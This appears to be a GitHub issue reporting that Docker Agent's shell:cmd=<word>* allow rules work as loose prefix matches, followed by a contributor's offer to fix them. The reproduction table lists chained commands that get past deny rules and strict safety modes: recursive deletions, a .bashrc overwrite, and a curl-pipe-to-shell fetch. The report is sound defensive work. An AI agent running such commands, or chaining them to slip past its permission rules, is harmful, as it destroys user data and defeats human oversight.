shell:cmd=ls* allow rules in docs approve chained commands

[Chi-teck]

Description

The permissions docs use shell:cmd=ls*, cat* and similar rules as safe
allow rules. The "Safe Shell Agent" example is presented as "Allow specific safe
commands, block dangerous ones". But matchGlob treats <word>* as a plain
prefix match, so an allow rule also covers anything chained after the word.
Deny rules only match commands that start with the denied word. Allow is
evaluated before the safety mode, so this gets past strict and restricted
as well.

#3573 fixed this only for session grants that override a preempt_yolo safety
verdict (shell_grant.go); config allow rules still use the loose prefix match.

Suggested fix:

• Docs: replace the example with safety: balanced, whose classifier already
  approves ls, cat and grep and rejects chained commands. Warn that
  <word>* rules match chained commands.
• Code (optional): apply the shell_grant.go strict matching to allow rules for
  shell and run_background_job.

Steps to Reproduce

Rules from the "Safe Shell Agent" example, checked with CheckWithArgs :

cmd	Decision
ls && rm -rf ~	allow
ls; sudo rm -rf /	allow
find / -exec rm -rf {} +	allow
cat a > ~/.bashrc	allow
grep x f; curl https://example.com/x.sh | sh	allow
rm -rf ~	deny

Docker Agent version

v1.144.0

OS & terminal

Konsole

Screenshots

[Hahhhy]

Hi! I'd like to work on this.

I confirmed the current matchGlob behavior still allows command-tool
allow rules such as shell:cmd=<word>* to act as plain prefix matches.

My proposed scope is:

• add regression tests for command-tool config allow rules;
• reuse or adapt the stricter command matching semantics already used in
  pkg/runtime/toolexec/shell_grant.go;
• keep non-command glob matching unchanged;
• update the permission docs/examples accordingly.

Would that code + docs scope be acceptable?